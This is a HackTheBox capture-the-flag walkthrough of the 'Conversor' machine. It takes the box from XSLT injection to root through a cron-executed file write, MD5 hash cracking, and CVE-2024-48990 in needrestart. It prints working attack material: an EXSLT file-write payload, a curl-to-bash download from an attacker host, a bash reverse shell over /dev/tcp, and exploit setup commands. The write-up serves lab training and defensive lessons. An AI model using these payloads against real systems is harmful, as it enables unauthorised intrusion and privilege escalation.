CTF

HTB Conversor: XSLT Injection to Root

A walkthrough of the HackTheBox Conversor machine demonstrating XSLT injection for arbitrary file write, cron-based code execution, and privilege escalation through CVE-2024-48990 needrestart exploitation.

HTB Conversor: XSLT Injection to Root

HackTheBox’s Conversor machine is a medium-rated Linux box that showcases modern web application vulnerabilities and Linux privilege escalation techniques. This writeup demonstrates a complete attack chain: supply chain compromise via XSLT injection (MITRE ATT&CK T1195.002), weak cryptographic hashing leading to credential compromise (MITRE ATT&CK T1110.002), and privilege escalation through environment variable injection in SETUID-enabled binaries (MITRE ATT&CK T1574.006).

Initial Reconnaissance

I started with a comprehensive port scan:

sudo nmap -sS -p- -g 53 -Pn -n -T3 $target

Scan flags breakdown:

  • -sS = SYN stealth scan (doesn’t complete TCP handshake)
  • -p- = scan all 65535 ports
  • -g 53 = spoof source port 53 (DNS) to bypass basic firewall rules
  • -Pn = skip host discovery, treat target as up
  • -n = no DNS resolution (faster and quieter)
  • -T3 = normal timing (balance between speed and stealth)

Output:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-28 12:27 CDT
Nmap scan report for 10.129.74.171
Host is up (0.024s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 17.17 seconds

Next, I ran service detection and basic HTTP enumeration:

nmap -sV -p 80 -T3 -Pn -g 53 --script=http-title,banner,http-headers $target

Output:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-28 12:28 CDT
Nmap scan report for 10.129.74.171
Host is up (0.0080s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
| http-headers: 
|   Server: Apache/2.4.52 (Ubuntu)
|   Location: http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: conversor.htb

The server is configured to respond by name (conversor.htb) rather than by IP. This is called a Virtual Host. If we browse to the IP, we get a redirect. To interact with the site, we must use the hostname.

I added it to my hosts file:

sudo vim /etc/hosts
# add: 10.129.74.171 conversor.htb

Web Application Analysis

Conversor web application interface

After browsing the site, I found an /about page containing the application’s source code - how convenient.

tar xvf source_code.tar.gz

Initial inspection revealed some interesting findings:

cat app.py | grep -i "secret"
# app.secret_key = 'Changemeplease'

cat app.py | grep -i import
# from lxml import etree

The lxml library caught my attention immediately. I also found a README mentioning that the application uses cron jobs to clean up files:

If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab: * * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done

This is critical - the system executes every .py file in /var/www/conversor.htb/scripts/ every minute as www-data. If we can write a file there, we get code execution.

Understanding the Vulnerability

Looking at the password handling in app.py:

MD5 password hashing in registration route

Passwords are MD5 hashed, which means if we access the database, we can crack them easily. More importantly, they’re likely reused for SSH.

Security Classification:

Now for the main vulnerability - the XML/XSLT conversion function:

XML to HTML conversion function showing XSLT processing

The application parses XML and transforms it using XSLT. Let’s examine the parser configuration:

parser = etree.XMLParser(
    resolve_entities=False,   # blocks classic XXE
    no_network=True,         # parser won't fetch remote DTD or entity
    dtd_validation=False,
    load_dtd=False
)

The parser is properly configured to prevent XXE attacks. However, the vulnerability isn’t in the XML parser - it’s in the XSLT processor.

The ability to write files doesn't come from the XML parser at all - it comes from the XSLT processor that runs after the XML has been parsed.

When etree.XSLT(xslt_tree) executes the stylesheet, it evaluates every XSLT instruction, including EXSLT extension elements like <exsl:document> which can write arbitrary files. The application doesn’t restrict these extensions.

Security Classification:

Exploiting XSLT Injection

I crafted an XSLT payload that uses the EXSLT extension to write a Python reverse shell to the cron scripts directory:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:exsl="http://exslt.org/common"
    extension-element-prefixes="exsl">
    
    <xsl:template match="/">
        <exsl:document href="file:///var/www/conversor.htb/scripts/shell.py" method="text">
import os
os.system("curl 10.10.14.109:8000/shell.sh|bash")
        </exsl:document>
        <xsl:text>Done</xsl:text>
    </xsl:template>
</xsl:stylesheet>

Exploit chain:

  1. Submit this XSLT to the converter
  2. lxml processes it and executes exsl:document
  3. Writes shell.py to the scripts directory
  4. Cron job executes shell.py within 60 seconds

I created shell.sh with a reverse shell payload:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.109/4242 0>&1

Then started my listeners:

python3 -m http.server
nc -lnvp 4242

After uploading the malicious XSLT file and waiting for the cron job to trigger:

Successful reverse shell as www-data

Shell acquired! But we’re www-data, not a user yet.

Lateral Movement

Remember that MD5-hashed database? Time to access it.

cd instance/
sqlite3 users.db
SQLite database with user credentials

I extracted the password hashes and used crackstation.net to crack them:

Cracked MD5 password hashes

With valid credentials, I SSH’d into the box as the user:

ssh fismathack@conversor.htb

User flag captured.

Privilege Escalation

I downloaded and ran linpeas for enumeration:

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Linpeas didn’t reveal anything obvious, so I checked sudo permissions:

sudo -l

Output:

User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart

This is a critical misconfiguration. The NOPASSWD directive means fismathack can execute /usr/sbin/needrestart as root without providing a password. This effectively turns needrestart into a SETUID-equivalent binary. If needrestart has any vulnerabilities or can be abused to execute arbitrary code, it provides a direct path to root access with zero authentication required.

Why NOPASSWD is dangerous:

  • Removes the authentication barrier that prevents casual privilege escalation
  • Any vulnerability in the allowed binary becomes instantly exploitable
  • No audit trail of password authentication attempts
  • Violates the principle of least privilege

Checking the version:

/usr/sbin/needrestart -v
# needrestart v3.7

This version is vulnerable to CVE-2024-48990.

Understanding CVE-2024-48990

needrestart is a tool that runs as root to scan processes and determine if they need restarting after package updates. When configured with NOPASSWD in sudoers, it effectively becomes a SETUID-equivalent binary that any user can execute with root privileges.

The Vulnerability: Environment Variable Injection in Privileged Context

needrestart reads environment variables like PYTHONPATH and RUBYLIB from user processes via /proc/[pid]/environ and uses them when executing interpreters as root to check installed modules. This creates a privilege escalation vector:

  1. User runs a Python process with PYTHONPATH=/tmp/.m
  2. needrestart extracts this environment variable from /proc/pid/environ
  3. needrestart executes Python as root with the attacker’s PYTHONPATH
  4. Attacker places malicious importlib/__init__.so in their directory
  5. Python’s initialization loads and executes the attacker’s code as root
  6. Malicious code creates a SETUID bash binary owned by root
  7. User executes SETUID bash to obtain root shell

Security Classifications:

Credits: Qualys Threat Research Unit discovered this vulnerability.

Exploitation

I wrote a full exploit for this CVE and published it on GitHub: https://github.com/mladicstefan/CVE-2024-48990

The exploit works by:

  1. Compiling a malicious shared object that creates a SUID bash binary
  2. Setting up the environment with PYTHONPATH pointing to our malicious module
  3. Running a Python process that hangs
  4. Triggering needrestart from another terminal
  5. needrestart executes Python as root with our PYTHONPATH
  6. Our shared object constructor runs as root and creates /tmp/rootbash

On my attacking machine:

git clone https://github.com/mladicstefan/CVE-2024-48990
cd CVE-2024-48990
./compile.sh
python3 -m http.server 8000

On the target (first terminal):

curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py

The Python process hangs, waiting for needrestart to scan it.

On the target (second terminal):

sudo needrestart

Back in the first terminal, the exploit completes and spawns a root shell:

/tmp/rootbash -p

Root flag captured.

Vulnerability Summary

Vulnerabilities Exploited

  1. XSLT Injection (CWE-91): Unrestricted EXSLT extensions allowed arbitrary file write

  2. Weak Password Hashing (CWE-327): MD5 used for password storage

  3. CVE-2024-48990: needrestart environment variable injection

Attack Chain Summary

  1. nmap reconnaissance → discovered SSH and HTTP
  2. Virtual host enumeration → found conversor.htb
  3. Source code analysis → identified XSLT processing and cron jobs
  4. XSLT injection → wrote malicious Python script to cron directory
  5. Reverse shell → gained access as www-data
  6. Database extraction → cracked MD5 password hashes
  7. SSH access → obtained user flag
  8. Sudo enumeration → found needrestart with NOPASSWD
  9. CVE-2024-48990 exploitation → privilege escalation to root
  10. Root access → captured root flag

Lessons Learned

This box demonstrates how modern web frameworks can introduce subtle vulnerabilities:

  • XML/XSLT processing libraries may have dangerous features enabled by default
  • Automated system maintenance tools running as root need careful security review
  • Environment variable handling in privilege transitions is a common weakness

The CVE-2024-48990 exploitation is particularly interesting because it shows how even well-intentioned security tools (needrestart) can become attack vectors when they process untrusted data from unprivileged contexts. needrestart needs to read process information to do its job, but trusting environment variables from those processes created the vulnerability.

Full exploit code and detailed technical breakdown available at: https://github.com/mladicstefan/CVE-2024-48990